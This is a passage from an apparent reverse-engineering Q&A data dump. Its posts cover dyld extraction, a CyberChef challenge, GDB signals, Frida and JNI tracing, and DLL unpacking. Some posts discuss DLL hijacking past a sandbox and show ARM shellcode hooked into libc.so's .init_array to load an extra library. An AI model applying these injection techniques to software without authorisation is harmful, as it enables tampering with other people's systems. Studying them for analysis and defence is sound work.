RTLD_LAZY);&#xA;    if (!handle) {&#xA;        /* fail to load the library */&#xA;        fprintf(stderr, &amp;quot;Error: %s\n&amp;quot;, dlerror());&#xA;        return EXIT_FAILURE;&#xA;    }&#xA;&#xA;    dlclose(handle);&#xA;&#xA;    return EXIT_SUCCESS;&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;dyld throwing an error: Overlapping segments, because the segments' address lower is bigger than the higher? &lt;a href=&quot;https://opensource.apple.com/source/dyld/dyld-360.21/src/ImageLoaderMachO.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://opensource.apple.com/source/dyld/dyld-360.21/src/ImageLoaderMachO.cpp&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;    if ( this-&amp;gt;segmentsCanSlide() &amp;amp;&amp;amp; this-&amp;gt;segmentsMustSlideTogether() ) {&#xA;        bool needsToSlide = false;&#xA;        bool imageHasPreferredLoadAddress = segHasPreferredLoadAddress(0);&#xA;        uintptr_t lowAddr = (unsigned long)(-1);&#xA;        uintptr_t highAddr = 0;&#xA;        for(unsigned int i=0, e=segmentCount(); i &amp;lt; e; ++i) {&#xA;            const uintptr_t segLow = segPreferredLoadAddress(i);&#xA;            const uintptr_t segHigh = dyld_page_round(segLow + segSize(i));&#xA;            if ( segLow &amp;lt; highAddr ) {&#xA;                if ( dyld_page_size &amp;gt; 4096 )&#xA;                    dyld::throwf(&amp;quot;can't map segments into 16KB pages&amp;quot;);&#xA;                else&#xA;                    dyld::throwf(&amp;quot;overlapping segments&amp;quot;);&#xA;            }&#xA;            if ( segLow &amp;lt; lowAddr )&#xA;                lowAddr = segLow;&#xA;            if ( segHigh &amp;gt; highAddr )&#xA;                highAddr = segHigh;&#xA;                &#xA;            if ( needsToSlide || !imageHasPreferredLoadAddress || inPIE || !reserveAddressRange(segPreferredLoadAddress(i), segSize(i)) )&#xA;                needsToSlide = true;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;you can retrieve ChatKit dylib from &lt;a href=&quot;https://drive.google.com/file/d/1Hi66ZgObQxoYi18s0DsepdVoyGf5Pj6x/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35367" LastEditorUserId="35367" LastEditDate="2020-12-29T21:49:27.553" LastActivityDate="2023-05-19T06:04:10.600" Title="How to fix an extracted dyld from dyld_shared_cache_x86_64?" Tags="|mach-o|macos|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26648" PostTypeId="1" CreationDate="2020-12-28T16:44:53.253" Score="-2" ViewCount="1439" Body="&lt;p&gt;The challenge data/input is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;AkQ2KVX5poU8LcrSpVE3xRfH3rYEYKH9pJ6HH9hipkCaVqagCyPfmiAToxHWCTNtHQ6twaEtoTPGLywKXxYYQS8E1ytgiHCepsAK2fFqRiKh23MS9f9reW7NBE8ef1VKYCSkQQ6uJ5acMAD1w298XGi1sU7UzjZfvKT8UZiSJgm83aeNBbSkyM26oLM2ZQw6PGkJnoE4i4idL5VAKDxnMC6PumppcZZA7qdwSQf3EH8bb6CHy5F7UR5ymrZFp52cERMCbR5JWC9QUvScTPzuyfkKCnYiAAatRVYLjxNCRfqWQCbgZ7cnMvdhYddf35TBRjrSdoWoq3EVAgUmduP3xiq18sgpP8jAFdcDk2mujSd9MY8E7c5PBX5NuH7LR27iLNwXskTSfE6waB6iKKZiwws3yZXWYA23bXNH1cvNsGuyJCLoFm7k8JS45zdM1duvUhMujm4tXHqLMHT8ABozHga8bHqgdv6f3zTyddNZeTxAuhRZHqaYS848jssii15h8bt8RkH2CUSsLPV6N439uuUsTQ9HEEXt5GRoFYtAERy4dfcPDQo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The solution must be done by using &lt;a href=&quot;https://gchq.github.io/CyberChef&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gchq.github.io/CyberChef&lt;/a&gt; recipe(s).&lt;/p&gt;&#xA;&lt;p&gt;I passed all previous 20 challenges on my own without any assistance, but this one seems pretty strange, so far I spent 1 week trying to figure it out but I couldn't till now. I am not asking for full answer, just a kick in the right direction (&lt;em&gt;the first 2 or 3 recipe(s)&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;The solved challenge message comes in the form of:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Congratulations, you have completed CyberChef challenge #21!&#xA;&#xA;The code for this challenge is UUID.&#xA;&#xA;The next challenge can be found at https://pastebin.com/LINKCODE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35368" LastActivityDate="2021-02-05T11:16:17.693" Title="CyberChef Challenge #21" Tags="|decryption|decompress|hex|encodings|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26649" PostTypeId="1" CreationDate="2020-12-28T17:03:45.243" Score="0" ViewCount="44" Body="&lt;p&gt;Hypothetically,  If I'm hijacking a DLL but user space is in a sandbox; upon debugging, sandbox initiates at 0x345678 and I want to move to the space before it initiates:&#xA;Can I call a jmp function like &amp;quot;xyz-volatile(jmp 0x1100000);&amp;quot; to jump to the space before the sandbox initiates?&lt;/p&gt;&#xA;" OwnerUserId="35369" LastActivityDate="2020-12-28T17:03:45.243" Title="Jumping to a specific logation for DLL injection : OllyDbg" Tags="|malware|dynamic-analysis|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26650" PostTypeId="1" AcceptedAnswerId="26658" CreationDate="2020-12-29T00:50:36.453" Score="2" ViewCount="2295" Body="&lt;p&gt;I have a program that I am trying to reverse, which contains an &lt;strong&gt;int3 (0xCC)&lt;/strong&gt; which emits a &lt;strong&gt;SIGTRAP&lt;/strong&gt; signal, which is then handled by a &lt;strong&gt;sighandler&lt;/strong&gt; defined in sigaction.&lt;br /&gt;&#xA;The handler performs calculations on certain values.&lt;/p&gt;&#xA;&lt;p&gt;When I'm debugging with GDB, the SIGTRAP is raised, and the handler does not receive the signal because it is GDB which intercepts it.&#xA;I need the signal to be caught in order to see what the handler is dynamically returning as a value.&lt;/p&gt;&#xA;&lt;p&gt;I tried to disable SIGTRAP interception with the command :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;handle SIGTRAP nostop noprint noignore  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but I have the following error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Program terminated with signal SIGTRAP, Trace / breakpoint trap.&#xA;The program no longer exists.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My goal is to make sure that I can let the SIGTRAP be intercepted by the sighandler and not by GDB, but still be able to launch the program and place breakpoints.&lt;/p&gt;&#xA;" OwnerUserId="35374" LastActivityDate="2020-12-29T15:43:23.977" Title="How to let SIGTRAP get caught by sighandler in GDB?" Tags="|debugging|gdb|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26651" PostTypeId="1" CreationDate="2020-12-29T01:48:57.333" Score="2" ViewCount="1872" Body="&lt;p&gt;So I have managed to retrieve the assembly_csharp.dll using the il2cpp tool from an android apk, however my issue is that when I go to read the dll using dnSpy I have all the correct looking function names, but the body of all the functions reads like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;return null; &#xA;return default(bool); &#xA;return 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;etc etc&lt;/p&gt;&#xA;&lt;p&gt;My question is is there any way to retrieve these functions, or otherwise how can I modify this code to change the app's behaviour&lt;/p&gt;&#xA;" OwnerUserId="35373" LastActivityDate="2022-03-10T19:05:05.420" Title="How to read dnSpy code from assembly_csharp.dll" Tags="|android|apk|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26653" PostTypeId="2" ParentId="26648" CreationDate="2020-12-29T06:21:01.300" Score="2" Body="&lt;p&gt;Run a histogram. Use the known text as a crib.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int  chr count&#xA;48   0   0&#xA;49   1   8&#xA;50   2   11&#xA;51   3   12&#xA;52   4   7&#xA;53   5   13&#xA;54   6   11&#xA;55   7   9&#xA;56   8   17&#xA;57   9   9&#xA;58   :   0&#xA;59   ;   0&#xA;60   &amp;lt;   0&#xA;61   =   0&#xA;62   &amp;gt;   0&#xA;63   ?   0&#xA;64   @   0&#xA;65   A   14&#xA;66   B   6&#xA;67   C   14&#xA;68   D   4&#xA;69   E   14&#xA;70   F   6&#xA;71   G   5&#xA;72   H   18&#xA;73   I   0&#xA;74   J   7&#xA;75   K   11&#xA;76   L   10&#xA;77   M   11&#xA;78   N   10&#xA;79   O   0&#xA;80   P   10&#xA;81   Q   11&#xA;82   R   13&#xA;83   S   14&#xA;84   T   11&#xA;85   U   10&#xA;86   V   8&#xA;87   W   6&#xA;88   X   9&#xA;89   Y   12&#xA;90   Z   11&#xA;91   [   0&#xA;92   \   0&#xA;93   ]   0&#xA;94   ^   0&#xA;95   _   0&#xA;96   `   0&#xA;97   a   9&#xA;98   b   8&#xA;99   c   10&#xA;100      d   15&#xA;101      e   5&#xA;102      f   13&#xA;103      g   8&#xA;104      h   6&#xA;105      i   15&#xA;106      j   7&#xA;107      k   10&#xA;108      l   0&#xA;109      m   8&#xA;110      n   4&#xA;111      o   11&#xA;112      p   9&#xA;113      q   9&#xA;114      r   5&#xA;115      s   10&#xA;116      t   9&#xA;117      u   12&#xA;118      v   6&#xA;119      w   9&#xA;120      x   7&#xA;121      y   11&#xA;122      z   5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you look at the unique characters in the cipher, you'll notice I,O and l (lowercase) are missing. Unique Chars 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-30T15:38:45.490" LastActivityDate="2020-12-30T15:38:45.490" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26656" PostTypeId="1" CreationDate="2020-12-29T15:19:05.197" Score="1" ViewCount="1410" Body="&lt;p&gt;I'm having a problem, where I'm trying to trace some function calls in an Android app, that uses JNI for about all of its work. More specifically, a function call, in JNI, that makes (IIRC Android itself &amp;quot;calls&amp;quot; it, not the app, the app just makes it) a specific &lt;code&gt;Toast&lt;/code&gt;. And try to hook on that function that makes it, for example with Frida's Interceptor.&lt;/p&gt;&#xA;&lt;p&gt;The problem is, that I haven't found a way to trace all function calls. I used some tips, like using frida-trace and tracing &amp;quot;Java_*&amp;quot; (where * is a wildcard) calls. But as this app probably has non-standard JNI calls (IIRC dynamically loading JNI libraries, where function names can have any name).&lt;/p&gt;&#xA;&lt;p&gt;Then I used a tool called jnitrace, which I found available open source on GitHub. This tool didn't report any functions at all. Until I opened a WebView in the app. Then it started printing out lots and lots of data referencing to the Chromium library, even after I stopped using the WebView.&lt;/p&gt;&#xA;&lt;p&gt;I found out about Frida's Stalker, but using some scripts that say &amp;quot;to print all function calls&amp;quot; just crash the app. Any app, so I think it's not the problem of the specific app I'm reverse engineering.&lt;/p&gt;&#xA;" OwnerUserId="32803" LastActivityDate="2022-10-18T05:55:49.100" Title="Tracing all (or most of) function calls in a specific Android app" Tags="|c++|android|java|frida|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26658" PostTypeId="2" ParentId="26650" CreationDate="2020-12-29T15:43:23.977" Score="3" Body="&lt;p&gt;I managed to find a solution.&lt;br /&gt;&#xA;When the &lt;strong&gt;SIGTRAP&lt;/strong&gt; emitted by the program causes a breakpoint in &lt;strong&gt;gdb&lt;/strong&gt;, I use the command :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;signal SIGTRAP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to send the signal to the program (and then to the handler), the program continues as expected.&lt;br /&gt;&#xA;Don't need to use the &amp;quot;handle&amp;quot; command shown in the question, because it seems to make gdb malfunction.&lt;/p&gt;&#xA;" OwnerUserId="35374" LastActivityDate="2020-12-29T15:43:23.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26659" PostTypeId="1" CreationDate="2020-12-29T16:24:21.807" Score="2" ViewCount="776" Body="&lt;p&gt;Concerning the outputting of an &lt;code&gt;Toast&lt;/code&gt;, I found that there are some ways to make a &lt;code&gt;Toast&lt;/code&gt;, that invoke calling a &lt;code&gt;FindClass&lt;/code&gt; on &lt;code&gt;JNIEnv&lt;/code&gt; object with the &lt;code&gt;android/widget/Toast&lt;/code&gt; parameter, but I found no references in the code doing this.&lt;/p&gt;&#xA;&lt;p&gt;I found this code &lt;a href=&quot;https://github.com/demuyan/AndroidNDKbook/blob/master/ch02/JniToast/jni/jnitoast.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jclass toast = (*env)-&amp;gt;FindClass(env, &amp;quot;android/widget/Toast&amp;quot;);&#xA;// ToastクラスのmakeTextスタティックメソッドのメソッドIDを取得する&#xA;jmethodID methodMakeText = (*env)-&amp;gt;GetStaticMethodID(env, toast, &amp;quot;makeText&amp;quot;, &amp;quot;(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;&amp;quot;);&#xA;if(methodMakeText == NULL){&#xA;LOGE(&amp;quot;toast.makeText not Found&amp;quot;);&#xA;&#xA;return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But when using the &lt;code&gt;strings&lt;/code&gt; tool on the C++ compiled files used in the app I'm decompiling, I haven't found any references to a &lt;code&gt;Toast&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;What other ways there are to call methods in a Java library, e.g. make a Toast?&lt;/p&gt;&#xA;" OwnerUserId="32803" LastActivityDate="2021-06-21T05:01:00.323" Title="Making a Android Toast via JNI, i.e. calling Java methods via JNI" Tags="|c++|android|java|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26660" PostTypeId="1" AcceptedAnswerId="26663" CreationDate="2020-12-29T19:16:44.803" Score="1" ViewCount="601" Body="&lt;p&gt;I am currently working on an ELF-injector and my approach is standard: find code cave (long enough sequence of 0's), rewrite it with the instructions I want to execute and then jump back to the start of the original program to execute it as it normally would.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/V6xii.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V6xii.png&quot; alt=&quot;ida&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yvhAf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yvhAf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j530d.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j530d.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***&#xA;Build fingerprint: 'Meizu/MeizuE3_CN/MeizuE3:7.1.1/NGI77B/1578882816:user/release-keys'&#xA;Revision: '0'&#xA;ABI: 'arm'&#xA;pid: 14576, tid: 14576, name: load_lib.so  &amp;gt;&amp;gt;&amp;gt; ./load_lib.so &amp;lt;&amp;lt;&amp;lt;&#xA;signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x14608&#xA;    r0 000775bd  r1 00000002  r2 00014608  r3 0000000a&#xA;    r4 f2d62279  r5 f28bfcc0  r6 f2d04a90  r7 0000000a&#xA;    r8 f2d62279  r9 f2d725f0  sl f2d62268  fp ffc08818&#xA;    ip 00000000  sp ffc08818  lr f28bfce0  pc 00014608  cpsr 800e0010&#xA;    d0  0000000000000000  d1  0000000000000000&#xA;    d2  0000000000000000  d3  0000000000000000&#xA;    d4  0000000000000000  d5  0000000000000000&#xA;    d6  0000000000000000  d7  0000000000000000&#xA;    d8  0000000000000000  d9  0000000000000000&#xA;    d10 0000000000000000  d11 0000000000000000&#xA;    d12 0000000000000000  d13 0000000000000000&#xA;    d14 0000000000000000  d15 0000000000000000&#xA;    d16 0000001ff2c72000  d17 0000000000000000&#xA;    d18 0000000000002a98  d19 0000000000001080&#xA;    d20 0000000000000000  d21 0000000000000000&#xA;    d22 0000000000000000  d23 0000000000000000&#xA;    d24 0000000000000000  d25 0000000000000000&#xA;    d26 0000000000000000  d27 0000000000000000&#xA;    d28 0000000000000000  d29 0000000000000000&#xA;    d30 0000000000000000  d31 0000000000000000&#xA;    scr 80000000&#xA;&#xA;backtrace:&#xA;    #00 pc 00014608  &amp;lt;unknown&amp;gt;&#xA;    #01 pc 00074cdc  /data/local/tmp/libc.so&#xA;&#xA;stack:&#xA;         ffc087d8  f2d01370  [anon:linker_alloc]&#xA;         ffc087dc  f2cff040  [anon:linker_alloc]&#xA;         ffc087e0  00000000&#xA;         ffc087e4  00000002&#xA;         ffc087e8  f2c77010&#xA;         ffc087ec  00000001&#xA;         ffc087f0  3f800000&#xA;         ffc087f4  00000000&#xA;         ffc087f8  f2d03d40  [anon:linker_alloc_small_objects]&#xA;         ffc087fc  f2d03d40  [anon:linker_alloc_small_objects]&#xA;         ffc08800  f2d03d48  [anon:linker_alloc_small_objects]&#xA;         ffc08804  ffc08878  [stack]&#xA;         ffc08808  f2d04010  [anon:linker_alloc]&#xA;         ffc0880c  f2d72010&#xA;         ffc08810  f2d03d20  [anon:linker_alloc_small_objects]&#xA;         ffc08814  f2d03d20  [anon:linker_alloc_small_objects]&#xA;    #00  ffc08818  f2d04a90  [anon:linker_alloc]&#xA;         ........  ........&#xA;    #01  ffc08818  f2d04a90  [anon:linker_alloc]&#xA;         ffc0881c  f2d127e3  /system/bin/linker (__dl__ZN6soinfo13call_functionEPKcPFvvE+86)&#xA;         ffc08820  00000000&#xA;         ffc08824  f2d01220  [anon:linker_alloc]&#xA;         ffc08828  00000001&#xA;         ffc0882c  00000001&#xA;         ffc08830  f28d0de0  /data/local/tmp/libc.so&#xA;         ffc08834  f2d12703  /system/bin/linker (__dl__ZN6soinfo10call_arrayEPKcPPFvvEjb+190)&#xA;         ffc08838  00000000&#xA;         ffc0883c  00000000&#xA;         ffc08840  00000000&#xA;         ffc08844  f2d721d0&#xA;         ffc08848  f2d62345  /system/bin/linker&#xA;         ffc0884c  f2d04a90  [anon:linker_alloc]&#xA;         ffc08850  00000000&#xA;         ffc08854  f2d721d0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;//my shellcode&#xA;e92d4800    push    {fp, lr}&#xA;e1a0b00d    mov fp, sp&#xA;e3042608    movw    r2, #17928  ; 0x4608&#xA;e3402001    movt    r2, #1&#xA;e30705bd    movw    r0, #30141  ; 0x75bd&#xA;e3400007    movt    r0, #7&#xA;e3a01002    mov r1, #2&#xA;e12fff32    blx r2&#xA;e3060e45    movw    r0, #28229  ; 0x6e45&#xA;e3400001    movt    r0, #1&#xA;e12fff30    blx r0&#xA;e8bd8800    pop {fp, pc}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;.init_array:00085DE0 ; ELF Initialization Function Table&#xA;.init_array:00085DE0 ; ===========================================================================&#xA;.init_array:00085DE0&#xA;.init_array:00085DE0 ; Segment type: Pure data&#xA;.init_array:00085DE0                 AREA .init_array, DATA&#xA;.init_array:00085DE0                 ; ORG 0x85DE0&#xA;.init_array:00085DE0 off_85DE0       DCD __start_ae          ; DATA XREF: LOAD:off_9C↑o&#xA;.init_array:00085DE0                                         ; LOAD:off_15C↑o&#xA;.init_array:00085DE4                 DCD sub_74CC0 ;&amp;lt;---my shellcode--------- &#xA;.init_array:00085DE8                 DCD _GLOBAL__sub_I_libgen.cpp+1&#xA;.init_array:00085DEC                 DCD _GLOBAL__sub_I_mntent.cpp+1&#xA;.init_array:00085DF0                 DCD _GLOBAL__sub_I_pty.cpp+1&#xA;.init_array:00085DF4                 DCD _GLOBAL__sub_I_strerror.cpp+1&#xA;.init_array:00085DF8                 DCD _GLOBAL__sub_I_strsignal.cpp+1&#xA;.init_array:00085DFC                 DCD _GLOBAL__sub_I_stubs.cpp+1&#xA;.init_array:00085E00                 DCD __res_key_init+1&#xA;.init_array:00085E04                 DCD jemalloc_constructor+1&#xA;.init_array:00085E04 ; .init_array   ends&#xA;.init_array:00085E04&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:00074CC0 sub_74CC0                               ; DATA XREF: .init_array:00085DE4↓o&#xA;.text:00074CC0                 STMFD           SP!, {R11,LR}&#xA;.text:00074CC4                 MOV             R11, SP&#xA;.text:00074CC8                 MOV             R2, #0x14608&#xA;.text:00074CD0                 MOV             R0, #(aSLibomegaSo+4) ; file&#xA;.text:00074CD8                 MOV             R1, #2  ; mode&#xA;.text:00074CDC                 BLX             R2      ; dlopen;&amp;lt;---When the code runs here , got signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x14608&#xA;.text:00074CE0                 MOV             R0, #0x16E45&#xA;.text:00074CE8                 BLX             R0      ; __libc_preinit(void)&#xA;.text:00074CEC                 LDMFD           SP!, {R11,PC}&#xA;.text:00074CEC ; End of function sub_74CC0&#xA;.text:00074CEC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;.plt:00014608&#xA;.plt:00014608 ; =============== S U B R O U T I N E =======================================&#xA;.plt:00014608&#xA;.plt:00014608 ; Attributes: thunk&#xA;.plt:00014608&#xA;.plt:00014608 ; void *dlopen(const char *file, int mode)&#xA;.plt:00014608 dlopen                                  ; CODE XREF: __libc_init_malloc(libc_globals *)+84↓p&#xA;.plt:00014608                                         ; netdClientInitImpl(void)+8↓p ...&#xA;.plt:00014608                 ADRL            R12, 0x87610&#xA;.plt:00014610                 LDR             PC, [R12,#(dlopen_ptr - 0x87610)]! ; __imp_dlopen&#xA;.plt:00014610 ; End of function dlopen&#xA;.plt:00014610&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've looked up a lot of relevant posts, but I still don't have a clue.&lt;/p&gt;&#xA;&lt;p&gt;A week, I still have not found the specific reason, I sincerely hope someone can help me&lt;/p&gt;&#xA;" OwnerUserId="35371" LastActivityDate="2020-12-29T21:33:44.423" Title="Injecting code into an ELF binary , got Segmentation fault(SIGSEGV)" Tags="|ida|arm|elf|shellcode|dll-injection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26661" PostTypeId="1" CreationDate="2020-12-29T20:26:00.653" Score="1" ViewCount="183" Body="&lt;p&gt;file_buffer = requests.get(file_url)&lt;/p&gt;&#xA;&lt;p&gt;buf_size = len(file_buffer)&lt;/p&gt;&#xA;&lt;p&gt;pe_file = pefile.PE(data=file_buffer)&lt;/p&gt;&#xA;&lt;p&gt;print(&amp;quot;This is really a pe imphash %s.&amp;quot; % pe_file.get_imphash())&lt;/p&gt;&#xA;&lt;p&gt;addr = hex(id(file_buffer))&lt;/p&gt;&#xA;&lt;p&gt;print(&amp;quot;PE start memory at %s length %d.&amp;quot; % (addr, len(file_buffer)))&lt;/p&gt;&#xA;&lt;p&gt;new_loader = ida_idaapi.loader_input_t()&lt;/p&gt;&#xA;&lt;p&gt;mem_inp = ida_diskio.create_memory_linput(addr, buf_size)&lt;/p&gt;&#xA;" OwnerUserId="36334" LastEditorUserId="36334" LastEditDate="2021-01-07T10:25:17.087" LastActivityDate="2021-05-01T21:04:55.447" Title="Try to parse buffer as PE with IDAPython" Tags="|idapython|pe|idapro-sdk|ida-plugin|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26662" PostTypeId="1" AcceptedAnswerId="26666" CreationDate="2020-12-29T20:40:13.053" Score="1" ViewCount="154" Body="&lt;p&gt;I'm working on a static code injector for ELF files. I need to &amp;quot;steal&amp;quot; some bytes in order to write jump to my code on their place and then execute stolen instructions somewhere in the payload. However I don't know how to automate it. I will need to steal at least 5 bytes for my jump instruction, but obviously not always 5 bytes equal to the whole number of instructions, so I might have to &lt;code&gt;nop&lt;/code&gt; several bytes.&lt;/p&gt;&#xA;&lt;p&gt;What are the ways to distinguish instructions, given bytes in ELF binary( C/C++ preferably ) ?&lt;/p&gt;&#xA;" OwnerUserId="35050" LastEditorUserId="35050" LastEditDate="2020-12-29T20:46:36.250" LastActivityDate="2020-12-29T22:04:03.813" Title="How to split bytes into instructions in binary ELF file for x86" Tags="|x86|c++|linux|elf|injection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26663" PostTypeId="2" ParentId="26660" CreationDate="2020-12-29T21:33:44.423" Score="1" Body="&lt;p&gt;Is your binary relocated on load (ASLR)? In that case 14608 points to some random memory (probably unallocated). You need to use a position-independent instruction to load the address of the &lt;code&gt;dlopen&lt;/code&gt; stub (e.g. &lt;code&gt;ADRL&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-29T21:33:44.423" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26664" PostTypeId="2" ParentId="26647" CreationDate="2020-12-29T21:54:45.690" Score="2" Body="&lt;p&gt;It seems the tool you are using is optimized for getting correct disassembly/symbols and not necessarily getting a runnable(acceptable by dyld) binary. Besides, the readme mentions that it does not support format changes in Beta 9 and later so it probably won’t work with the final release.&lt;/p&gt;&#xA;&lt;p&gt;The dyld cache format is highly optimized and a lot of information is shared by multiple libraries so it’s not easy to extract just the information used by the one you need (and put it back in correct locations). You can try opening an issue on GitHub but I expect you’ll have to implement it yourself if you really want to get this working.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-12-29T23:22:33.943" LastActivityDate="2020-12-29T23:22:33.943" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26666" PostTypeId="2" ParentId="26662" CreationDate="2020-12-29T22:04:03.813" Score="2" Body="&lt;p&gt;The x86/x64 instruction set is variable length and there are no obvious instruction boundaries.  You can make use of a &lt;em&gt;length disassembler&lt;/em&gt; to figure out how long each instruction is. There are a bunch of them available, here’s a few I found by a quick search:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/greenbender/lend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/greenbender/lend&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Nomade040/length-disassembler&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Nomade040/length-disassembler&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/GiveMeZeny/fde64&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/GiveMeZeny/fde64&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-29T22:04:03.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26667" PostTypeId="1" AcceptedAnswerId="26726" CreationDate="2020-12-29T22:35:05.067" Score="3" ViewCount="1621" Body="&lt;p&gt;I've been trying to unpack this dll and I'm pretty sure that &lt;code&gt;0x7c3ea902&lt;/code&gt; or &lt;code&gt;0x1007A9D2&lt;/code&gt; (ASLR disabled) or simply &lt;code&gt;0x7A9D2&lt;/code&gt; is OEP.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cwpHn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cwpHn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But after dumping with OllyDumpEx and trying to fix IAT with &lt;strong&gt;ImpREC&lt;/strong&gt; it just doesn't work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ffrbx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ffrbx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here are the results from &lt;strong&gt;ImpREC&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WdxCO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WdxCO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My question is, why are there invalid imports detected when the OEP is most likely correct?&lt;/p&gt;&#xA;" OwnerUserId="8243" LastEditorUserId="8243" LastEditDate="2021-01-08T10:16:05.323" LastActivityDate="2021-01-08T10:16:05.323" Title="Rebuild IAT after manually unpacking DLL" Tags="|dll|unpacking|dumping|import-reconstruction|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
